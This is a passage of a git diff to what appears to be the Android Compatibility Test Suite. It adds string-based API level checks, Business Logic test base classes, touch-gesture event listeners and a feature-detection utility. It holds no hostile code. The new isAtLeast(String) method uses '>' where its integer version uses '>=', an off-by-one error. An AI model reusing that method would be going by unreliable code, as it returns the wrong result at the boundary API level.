-	$(hide) echo "package com.android.compatibility;" >> $@
-	$(hide) echo "public class SuiteInfo {" >> $@
-	$(hide) echo "    public static final String BUILD_NUMBER = \"$(PRIVATE_SUITE_BUILD_NUMBER)\";" >> $@
-	$(hide) echo "    public static final String TARGET_ARCH = \"$(PRIVATE_SUITE_TARGET_ARCH)\";" >> $@
-	$(hide) echo "    public static final String NAME = \"$(PRIVATE_SUITE_NAME)\";" >> $@
-	$(hide) echo "    public static final String FULLNAME = \"$(PRIVATE_SUITE_FULLNAME)\";" >> $@
-	$(hide) echo "    public static final String VERSION = \"$(PRIVATE_SUITE_VERSION)\";" >> $@
-	$(hide) echo "}" >> $@
+	$(hide) echo "# This file is auto generated by Android.mk. Do not modify." > $@
+	$(hide) echo "build_number = $(PRIVATE_SUITE_BUILD_NUMBER)" >> $@
+	$(hide) echo "target_arch = $(PRIVATE_SUITE_TARGET_ARCH)" >> $@
+	$(hide) echo "name = $(PRIVATE_SUITE_NAME)" >> $@
+	$(hide) echo "fullname = $(PRIVATE_SUITE_FULLNAME)" >> $@
+	$(hide) echo "version = $(PRIVATE_SUITE_VERSION)" >> $@
 
 # Reset variables
 LOCAL_SUITE_BUILD_NUMBER :=
@@ -42,8 +38,8 @@
 LOCAL_SUITE_FULLNAME :=
 LOCAL_SUITE_VERSION :=
 
-# Include the SuiteInfo.java
-LOCAL_GENERATED_SOURCES := $(suite_info_java)
+# Include the test suite properties file
+LOCAL_JAVA_RESOURCE_FILES += $(suite_info_prop)
 
 # Add the base libraries
 LOCAL_JAVA_LIBRARIES += tradefed hosttestlib compatibility-host-util
@@ -51,3 +47,5 @@
 LOCAL_MODULE_TAGS := optional
 
 include $(BUILD_HOST_JAVA_LIBRARY)
+
+suite_info_prop :=
diff --git a/build/device_info_package.mk b/build/device_info_package.mk
index 0d0ff45..5c290b0 100644
--- a/build/device_info_package.mk
+++ b/build/device_info_package.mk
@@ -50,7 +50,7 @@
 
 # Generator of APK manifests.
 MANIFEST_GENERATOR_JAR := $(HOST_OUT_JAVA_LIBRARIES)/compatibility-manifest-generator.jar
-MANIFEST_GENERATOR := java -jar $(MANIFEST_GENERATOR_JAR)
+MANIFEST_GENERATOR := $(JAVA) -jar $(MANIFEST_GENERATOR_JAR)
 
 # Generate the manifest
 manifest_xml := $(call intermediates-dir-for,APPS,$(LOCAL_PACKAGE_NAME))/AndroidManifest.xml
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
index 750e45f..a239d52 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/DeviceInfo.java
@@ -79,10 +79,16 @@
                 File jsonFile = new File(dir, getClass().getSimpleName() + ".deviceinfo.json");
                 jsonFile.createNewFile();
                 mResultFilePath = jsonFile.getAbsolutePath();
-                DeviceInfoStore store = new DeviceInfoStore(jsonFile);
-                store.open();
-                collectDeviceInfo(store);
-                store.close();
+                try (DeviceInfoStore store = new DeviceInfoStore(jsonFile)) {
+                    store.open();
+                    collectDeviceInfo(store);
+                } finally {
+                    if (jsonFile != null && jsonFile.exists() &&
+                            jsonFile.length() == 0) {
+                        jsonFile.delete();
+                    }
+                }
+
                 if (mResultCode == ResultCode.STARTED) {
                     mResultCode = ResultCode.COMPLETED;
                 }
diff --git a/common/device-side/util/jni/Android.mk b/common/device-side/util/jni/Android.mk
index 7b73707..8627d24 100644
--- a/common/device-side/util/jni/Android.mk
+++ b/common/device-side/util/jni/Android.mk
@@ -32,4 +32,6 @@
 LOCAL_STATIC_LIBRARIES := cpufeatures
 LOCAL_SDK_VERSION := 19
 
+LOCAL_CFLAGS := -Wno-unused-parameter
+
 include $(BUILD_SHARED_LIBRARY)
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
index 1df7198..a49e949 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/ApiLevelUtil.java
@@ -18,6 +18,8 @@
 
 import android.os.Build;
 
+import java.lang.reflect.Field;
+
 /**
  * Device-side compatibility utility class for reading device API level.
  */
@@ -27,18 +29,34 @@
         return Build.VERSION.SDK_INT < version;
     }
 
+    public static boolean isBefore(String version) {
+        return Build.VERSION.SDK_INT < resolveVersionString(version);
+    }
+
     public static boolean isAfter(int version) {
         return Build.VERSION.SDK_INT > version;
     }
 
+    public static boolean isAfter(String version) {
+        return Build.VERSION.SDK_INT > resolveVersionString(version);
+    }
+
     public static boolean isAtLeast(int version) {
         return Build.VERSION.SDK_INT >= version;
     }
 
+    public static boolean isAtLeast(String version) {
+        return Build.VERSION.SDK_INT > resolveVersionString(version);
+    }
+
     public static boolean isAtMost(int version) {
         return Build.VERSION.SDK_INT <= version;
     }
 
+    public static boolean isAtMost(String version) {
+        return Build.VERSION.SDK_INT <= resolveVersionString(version);
+    }
+
     public static int getApiLevel() {
         return Build.VERSION.SDK_INT;
     }
@@ -54,4 +72,24 @@
     public static String getCodename() {
         return Build.VERSION.CODENAME;
     }
+
+    protected static int resolveVersionString(String versionString) {
+        // Attempt 1: Parse version string as an integer, e.g. "23" for M
+        try {
+            return Integer.parseInt(versionString);
+        } catch (NumberFormatException e) { /* ignore for alternate approaches below */ }
+        // Attempt 2: Find matching field in VersionCodes utility class, return value
+        try {
+            Field versionField = VersionCodes.class.getField(versionString.toUpperCase());
+            return versionField.getInt(null); // no instance for VERSION_CODES, use null
+        } catch (IllegalAccessException | NoSuchFieldException e) { /* ignore */ }
+        // Attempt 3: Find field within android.os.Build.VERSION_CODES
+        try {
+            Field versionField = Build.VERSION_CODES.class.getField(versionString.toUpperCase());
+            return versionField.getInt(null); // no instance for VERSION_CODES, use null
+        } catch (IllegalAccessException | NoSuchFieldException e) {
+            throw new RuntimeException(
+                    String.format("Failed to parse version string %s", versionString), e);
+        }
+    }
 }
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
new file mode 100644
index 0000000..d12caa8
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicConditionalTestCase.java
@@ -0,0 +1,54 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import org.junit.Before;
+
+/**
+ *  Device-side base class for tests leveraging the Business Logic service for rules that are
+ *  conditionally added based on the device characteristics.
+ */
+public class BusinessLogicConditionalTestCase extends BusinessLogicTestCase {
+
+    @Override
+    @Before
+    public void handleBusinessLogic() {
+        super.loadBusinessLogic();
+        ensureAuthenticated();
+        super.executeBusinessLogic();
+    }
+
+    protected void ensureAuthenticated() {
+        if (!mCanReadBusinessLogic) {
+            // super class handles the condition that the service is unavailable.
+            return;
+        }
+
+        if (!mBusinessLogic.mConditionalTestsEnabled) {
+            skipTest("Execution of device specific tests is not enabled. "
+                    + "Enable with '--conditional-business-logic-tests-enabled'");
+        }
+
+        if (mBusinessLogic.isAuthorized()) {
+            // Run test as normal.
+            return;
+        }
+        String message = mBusinessLogic.getAuthenticationStatusMessage();
+
+        // Fail test since request was not authorized.
+        failTest(String.format("Unable to execute because %s.", message));
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
new file mode 100644
index 0000000..130bf69
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -0,0 +1,100 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.Context;
+import android.util.Log;
+
+import java.lang.reflect.Method;
+import java.util.Arrays;
+import java.util.List;
+
+/**
+ * Execute business logic methods for device side test cases
+ */
+public class BusinessLogicDeviceExecutor extends BusinessLogicExecutor {
+
+    private Context mContext;
+    private Object mTestObj;
+
+    public BusinessLogicDeviceExecutor(Context context, Object testObj) {
+        mContext = context;
+        mTestObj = testObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected Object getTestObject() {
+        return mTestObj;
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    public void logInfo(String format, Object... args) {
+        Log.i(LOG_TAG, String.format(format, args));
+    }
+
+    /**
+     * {@inheritDoc}
+     */
+    @Override
+    protected ResolvedMethod getResolvedMethod(Class cls, String methodName, String... args)
+            throws ClassNotFoundException {
+        List<Method> nameMatches = getMethodsWithName(cls, methodName);
+        for (Method m : nameMatches) {
+            ResolvedMethod rm = new ResolvedMethod(m);
+            int paramTypesMatched = 0;
+            int argsUsed = 0;
+            Class[] paramTypes = m.getParameterTypes();
+            for (Class paramType : paramTypes) {
+                if (argsUsed == args.length && paramType.equals(String.class)) {
+                    // We've used up all supplied string args, so this method will not match.
+                    // If paramType is the Context class, we can match a paramType without needing
+                    // more string args. similarly, paramType "String[]" can be matched with zero
+                    // string args. If we add support for more paramTypes, this logic may require
+                    // adjustment.
+                    break;
+                }
+                if (paramType.equals(String.class)) {
+                    // Type "String" -- supply the next available arg
+                    rm.addArg(args[argsUsed++]);
+                } else if (Context.class.isAssignableFrom(paramType)) {
+                    // Type "Context" -- supply the context from the test case
+                    rm.addArg(mContext);
+                } else if (paramType.equals(Class.forName(STRING_ARRAY_CLASS))) {
+                    // Type "String[]" (or "String...") -- supply all remaining args
+                    rm.addArg(Arrays.copyOfRange(args, argsUsed, args.length));
+                    argsUsed += (args.length - argsUsed);
+                } else {
+                    break; // Param type is unrecognized, this method will not match.
+                }
+                paramTypesMatched++; // A param type has been matched when reaching this point.
+            }
+            if (paramTypesMatched == paramTypes.length && argsUsed == args.length) {
+                return rm; // Args match, methods match, so return the first method-args pairing.
+            }
+            // Not a match, try args for next method that matches by name.
+        }
+        throw new RuntimeException(String.format(
+                "BusinessLogic: Failed to invoke action method %s with args: %s", methodName,
+                Arrays.toString(args)));
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
new file mode 100644
index 0000000..671d33b
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/BusinessLogicTestCase.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.rules.TestName;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.support.test.InstrumentationRegistry;
+import android.util.Log;
+
+import java.lang.reflect.Field;
+import java.io.File;
+import java.util.List;
+import java.util.Map;
+
+/**
+ * Device-side base class for tests leveraging the Business Logic service.
+ */
+public class BusinessLogicTestCase {
+
+    /* String marking the beginning of the parameter in a test name */
+    private static final String PARAM_START = "[";
+
+    /* Test name rule that tracks the current test method under execution */
+    @Rule public TestName mTestCase = new TestName();
+
+    protected BusinessLogic mBusinessLogic;
+    protected boolean mCanReadBusinessLogic = true;
+
+    @Before
+    public void handleBusinessLogic() {
+        loadBusinessLogic();
+        executeBusinessLogic();
+    }
+
+    protected void executeBusinessLogic() {
+        String methodName = mTestCase.getMethodName();
+        assertTrue(String.format("Test \"%s\" is unable to execute as it depends on the missing "
+                + "remote configuration.", methodName), mCanReadBusinessLogic);
+        if (methodName.contains(PARAM_START)) {
+            // Strip parameter suffix (e.g. "[0]") from method name
+            methodName = methodName.substring(0, methodName.lastIndexOf(PARAM_START));
+        }
+        String testName = String.format("%s#%s", this.getClass().getName(), methodName);
+        if (mBusinessLogic.hasLogicFor(testName)) {
+            Log.i("Finding business logic for test case: ", testName);
+            BusinessLogicExecutor executor = new BusinessLogicDeviceExecutor(getContext(), this);
+            mBusinessLogic.applyLogicFor(testName, executor);
+        }
+    }
+
+    protected void loadBusinessLogic() {
+        File businessLogicFile = new File(BusinessLogic.DEVICE_FILE);
+        if (businessLogicFile.canRead()) {
+            mBusinessLogic = BusinessLogicFactory.createFromFile(businessLogicFile);
+        } else {
+            mCanReadBusinessLogic = false;
+        }
+    }
+
+    protected static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+
+    protected static Context getContext() {
+        return getInstrumentation().getTargetContext();
+    }
+
+    public static void skipTest(String message) {
+        assumeTrue(message, false);
+    }
+
+    public static void failTest(String message) {
+        fail(message);
+    }
+
+    public void mapPut(String mapName, String key, String value) {
+        boolean put = false;
+        for (Field f : getClass().getDeclaredFields()) {
+            if (f.getName().equalsIgnoreCase(mapName) && Map.class.isAssignableFrom(f.getType())) {
+                try {
+                    ((Map) f.get(this)).put(key, value);
+                    put = true;
+                } catch (IllegalAccessException e) {
+                    Log.w(String.format("failed to invoke mapPut on field \"%s\". Resuming...",
+                            f.getName()), e);
+                    // continue iterating through fields, throw exception if no other fields match
+                }
+            }
+        }
+        if (!put) {
+            throw new RuntimeException(String.format("Failed to find map %s in class %s", mapName,
+                    getClass().getName()));
+        }
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
index 0662e81..16796a8 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/CtsTouchUtils.java
@@ -31,6 +31,31 @@
  * Test utilities for touch emulation.
  */
 public final class CtsTouchUtils {
+    /**
+     * Interface definition for a callback to be invoked when an event has been injected.
+     */
+    public interface EventInjectionListener {
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_DOWN} has been injected.
+         * @param xOnScreen X coordinate of the injected event.
+         * @param yOnScreen Y coordinate of the injected event.
+         */
+        public void onDownInjected(int xOnScreen, int yOnScreen);
+
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_MOVE} has been injected.
+         * @param xOnScreen X coordinates of the injected event.
+         * @param yOnScreen Y coordinates of the injected event.
+         */
+        public void onMoveInjected(int[] xOnScreen, int[] yOnScreen);
+
+        /**
+         * Callback method to be invoked when a {MotionEvent#ACTION_UP} has been injected.
+         * @param xOnScreen X coordinate of the injected event.
+         * @param yOnScreen Y coordinate of the injected event.
+         */
+        public void onUpInjected(int xOnScreen, int yOnScreen);
+    }
 
     private CtsTouchUtils() {}
 
@@ -64,9 +89,9 @@
         final UiAutomation uiAutomation = instrumentation.getUiAutomation();
         final long downTime = SystemClock.uptimeMillis();
 
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
         injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
 
         // Wait for the system to process all events in the queue
         instrumentation.waitForIdleSync();
@@ -102,12 +127,12 @@
         final UiAutomation uiAutomation = instrumentation.getUiAutomation();
         final long downTime = SystemClock.uptimeMillis();
 
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
         injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
         injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
-        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+        injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
 
         // Wait for the system to process all events in the queue
         instrumentation.waitForIdleSync();
@@ -125,26 +150,35 @@
     public static void emulateDragGesture(Instrumentation instrumentation,
             int dragStartX, int dragStartY, int dragAmountX, int dragAmountY) {
         emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
-                2000, 20);
+                2000, 20, null);
     }
 
     private static void emulateDragGesture(Instrumentation instrumentation,
             int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
             int dragDurationMs, int moveEventCount) {
+        emulateDragGesture(instrumentation, dragStartX, dragStartY, dragAmountX, dragAmountY,
+                dragDurationMs, moveEventCount, null);
+    }
+
+    private static void emulateDragGesture(Instrumentation instrumentation,
+            int dragStartX, int dragStartY, int dragAmountX, int dragAmountY,
+            int dragDurationMs, int moveEventCount,
+            EventInjectionListener eventInjectionListener) {
         // We are using the UiAutomation object to inject events so that drag works
         // across view / window boundaries (such as for the emulated drag and drop
         // sequences)
         final UiAutomation uiAutomation = instrumentation.getUiAutomation();
         final long downTime = SystemClock.uptimeMillis();
 
-        injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY);
+        injectDownEvent(uiAutomation, downTime, dragStartX, dragStartY, eventInjectionListener);
 
         // Inject a sequence of MOVE events that emulate the "move" part of the gesture
         injectMoveEventsForDrag(uiAutomation, downTime, true, dragStartX, dragStartY,
-                dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs);
+                dragStartX + dragAmountX, dragStartY + dragAmountY, moveEventCount, dragDurationMs,
+            eventInjectionListener);
 
         injectUpEvent(uiAutomation, downTime, true, dragStartX + dragAmountX,
-                dragStartY + dragAmountY);
+                dragStartY + dragAmountY, eventInjectionListener);
 
         // Wait for the system to process all events in the queue
         instrumentation.waitForIdleSync();
@@ -175,7 +209,7 @@
         final UiAutomation uiAutomation = instrumentation.getUiAutomation();
         final long downTime = SystemClock.uptimeMillis();
 
-        injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y);
+        injectDownEvent(uiAutomation, downTime, coordinates.get(0).x, coordinates.get(0).y, null);
 
         // Move to each coordinate.
         for (int i = 0; i < coordinatesSize - 1; i++) {
@@ -188,25 +222,30 @@
                     coordinates.get(i + 1).x,
                     coordinates.get(i + 1).y,
                     moveEventCount,
-                    dragDurationMs);
+                    dragDurationMs,
+                    null);
         }
 
         injectUpEvent(uiAutomation,
                 downTime,
                 true,
                 coordinates.get(coordinatesSize - 1).x,
-                coordinates.get(coordinatesSize - 1).y);
+                coordinates.get(coordinatesSize - 1).y,
+                null);
 
         // Wait for the system to process all events in the queue
         instrumentation.waitForIdleSync();
     }
 
     private static long injectDownEvent(UiAutomation uiAutomation, long downTime, int xOnScreen,
-            int yOnScreen) {
+            int yOnScreen, EventInjectionListener eventInjectionListener) {
         MotionEvent eventDown = MotionEvent.obtain(
                 downTime, downTime, MotionEvent.ACTION_DOWN, xOnScreen, yOnScreen, 1);
         eventDown.setSource(InputDevice.SOURCE_TOUCHSCREEN);
         uiAutomation.injectInputEvent(eventDown, true);
+        if (eventInjectionListener != null) {
+            eventInjectionListener.onDownInjected(xOnScreen, yOnScreen);
+        }
         eventDown.recycle();
         return downTime;
     }
@@ -222,7 +261,7 @@
 
     private static void injectMoveEventsForDrag(UiAutomation uiAutomation, long downTime,
             boolean useCurrentEventTime, int dragStartX, int dragStartY, int dragEndX, int dragEndY,
-            int moveEventCount, int dragDurationMs) {
+            int moveEventCount, int dragDurationMs, EventInjectionListener eventInjectionListener) {
         final int dragAmountX = dragEndX - dragStartX;
         final int dragAmountY = dragEndY - dragStartY;
         final int sleepTime = dragDurationMs / moveEventCount;
@@ -242,10 +281,18 @@
             // to be spaced at 10 millisecond intervals, interpolating the coordinates from the
             // last generated MOVE event to our current one.
             int historyEventCount = (int) ((eventTime - prevEventTime) / 10);
+            int[] xCoordsForListener = (eventInjectionListener == null) ? null :
+                    new int[Math.max(1, historyEventCount)];
+            int[] yCoordsForListener = (eventInjectionListener == null) ? null :
+                    new int[Math.max(1, historyEventCount)];
             MotionEvent eventMove = null;
             if (historyEventCount == 0) {
                 eventMove = MotionEvent.obtain(
                         downTime, eventTime, MotionEvent.ACTION_MOVE, moveX, moveY, 1);
+                if (eventInjectionListener != null) {
+                    xCoordsForListener[0] = moveX;
+                    yCoordsForListener[0] = moveY;
+                }
             } else {
                 final int prevMoveX = dragStartX + dragAmountX * i / moveEventCount;
                 final int prevMoveY = dragStartY + dragAmountY * i / moveEventCount;
@@ -266,11 +313,18 @@
                         // and then add to it
                         eventMove.addBatch(stepEventTime, stepMoveX, stepMoveY, 1.0f, 1.0f, 1);
                     }
+                    if (eventInjectionListener != null) {
+                        xCoordsForListener[historyIndex] = stepMoveX;
+                        yCoordsForListener[historyIndex] = stepMoveY;
+                    }
                 }
             }
 
             eventMove.setSource(InputDevice.SOURCE_TOUCHSCREEN);
             uiAutomation.injectInputEvent(eventMove, true);
+            if (eventInjectionListener != null) {
+                eventInjectionListener.onMoveInjected(xCoordsForListener, yCoordsForListener);
+            }
             eventMove.recycle();
             prevEventTime = eventTime;
 
@@ -280,12 +334,16 @@
     }
 
     private static void injectUpEvent(UiAutomation uiAutomation, long downTime,
-            boolean useCurrentEventTime, int xOnScreen, int yOnScreen) {
+            boolean useCurrentEventTime, int xOnScreen, int yOnScreen,
+            EventInjectionListener eventInjectionListener) {
         long eventTime = useCurrentEventTime ? SystemClock.uptimeMillis() : downTime;
         MotionEvent eventUp = MotionEvent.obtain(
                 downTime, eventTime, MotionEvent.ACTION_UP, xOnScreen, yOnScreen, 1);
         eventUp.setSource(InputDevice.SOURCE_TOUCHSCREEN);
         uiAutomation.injectInputEvent(eventUp, true);
+        if (eventInjectionListener != null) {
+            eventInjectionListener.onUpInjected(xOnScreen, yOnScreen);
+        }
         eventUp.recycle();
     }
 
@@ -300,6 +358,22 @@
      */
     public static int emulateFlingGesture(Instrumentation instrumentation,
             View view, boolean isDownwardsFlingGesture) {
+        return emulateFlingGesture(instrumentation, view, isDownwardsFlingGesture, null);
+    }
+
+    /**
+     * Emulates a fling gesture across the horizontal center of the passed view.
+     *
+     * @param instrumentation the instrumentation used to run the test
+     * @param view the view to fling
+     * @param isDownwardsFlingGesture if <code>true</code>, the emulated fling will
+     *      be a downwards gesture
+     * @param eventInjectionListener optional listener to notify about the injected events
+     * @return The vertical amount of emulated fling in pixels
+     */
+    public static int emulateFlingGesture(Instrumentation instrumentation,
+            View view, boolean isDownwardsFlingGesture,
+            EventInjectionListener eventInjectionListener) {
         final ViewConfiguration configuration = ViewConfiguration.get(view.getContext());
         final int flingVelocity = (configuration.getScaledMinimumFlingVelocity() +
                 configuration.getScaledMaximumFlingVelocity()) / 2;
@@ -320,7 +394,8 @@
         final int durationMs = (1000 * viewHeight) / (2 * flingVelocity);
 
         // And do the same event injection sequence as our generic drag gesture
-        emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16);
+        emulateDragGesture(instrumentation, x, startY, 0, amountY, durationMs, durationMs / 16,
+            eventInjectionListener);
 
         return amountY;
     }
@@ -480,11 +555,11 @@
         final UiAutomation uiAutomation = instrumentation.getUiAutomation();
         final long downTime = SystemClock.uptimeMillis();
 
-        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen);
+        injectDownEvent(uiAutomation, downTime, xOnScreen, yOnScreen, null);
         injectMoveEventForTap(uiAutomation, downTime, touchSlop, xOnScreen, yOnScreen);
         SystemClock.sleep((long) (ViewConfiguration.getLongPressTimeout() * 1.5f) + extraWaitMs);
         if (upGesture) {
-            injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen);
+            injectUpEvent(uiAutomation, downTime, false, xOnScreen, yOnScreen, null);
         }
 
         // Wait for the system to process all events in the queue
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
index 966ac1a..03f69fa 100644
--- a/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/DeviceInfoStore.java
@@ -54,7 +54,7 @@
      * Closes the writer.
      */
     @Override
-    public void close() throws IOException {
+    public void close() throws Exception {
         mJsonWriter.endObject();
         mJsonWriter.flush();
         mJsonWriter.close();
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
new file mode 100644
index 0000000..ebf881a
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/FeatureUtil.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import android.content.pm.FeatureInfo;
+import android.content.pm.PackageManager;
+import android.os.Build;
+import android.support.test.InstrumentationRegistry;
+
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Device-side utility class for detecting system features
+ */
+public class FeatureUtil {
+
+    public static final String LEANBACK_FEATURE = "android.software.leanback";
+    public static final String LOW_RAM_FEATURE = "android.hardware.ram.low";
+    public static final String TELEPHONY_FEATURE = "android.hardware.telephony";
+    public static final String TV_FEATURE = "android.hardware.type.television";
+    public static final String WATCH_FEATURE = "android.hardware.type.watch";
+
+
+    /** Returns true if the device has a given system feature */
+    public static boolean hasSystemFeature(String feature) {
+        return getPackageManager().hasSystemFeature(feature);
+    }
+
+    /** Returns true if the device has any feature in a given collection of system features */
+    public static boolean hasAnySystemFeature(String... features) {
+        PackageManager pm = getPackageManager();
+        for (String feature : features) {
+            if (pm.hasSystemFeature(feature)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /** Returns true if the device has all features in a given collection of system features */
+    public static boolean hasAllSystemFeatures(String... features) {
+        PackageManager pm = getPackageManager();
+        for (String feature : features) {
+            if (!pm.hasSystemFeature(feature)) {
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /** Returns all system features of the device */
+    public static Set<String> getAllFeatures() {
+        Set<String> allFeatures = new HashSet<String>();
+        for (FeatureInfo fi : getPackageManager().getSystemAvailableFeatures()) {
+            allFeatures.add(fi.name);
+        }
+        return allFeatures;
+    }
+
+    /** Returns true if the device has feature TV_FEATURE or feature LEANBACK_FEATURE */
+    public static boolean isTV() {
+        return hasAnySystemFeature(TV_FEATURE, LEANBACK_FEATURE);
+    }
+
+    /** Returns true if the device has feature WATCH_FEATURE */
+    public static boolean isWatch() {
+        return hasSystemFeature(WATCH_FEATURE);
+    }
+
+    /** Returns true if the device is a low ram device:
+     *  1. API level &gt;= O
+     *  2. device has feature LOW_RAM_FEATURE
+     */
+    public static boolean isLowRam() {
+        return ApiLevelUtil.isAtLeast(Build.VERSION_CODES.O) &&
+                hasSystemFeature(LOW_RAM_FEATURE);
+    }
+
+    private static PackageManager getPackageManager() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext().getPackageManager();
+    }
+
+    /** Returns true if the device has feature TELEPHONY_FEATURE */
+    public static boolean hasTelephony() {
+        return hasSystemFeature(TELEPHONY_FEATURE);
+    }
+
+    /** Returns true if the device has feature FEATURE_MICROPHONE */
+    public static boolean hasMicrophone() {
+        return hasSystemFeature(getPackageManager().FEATURE_MICROPHONE);
+    }
+}
diff --git a/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
new file mode 100644
index 0000000..a153a4b
--- /dev/null
+++ b/common/device-side/util/src/com/android/compatibility/common/util/PackageUtil.java
@@ -0,0 +1,117 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
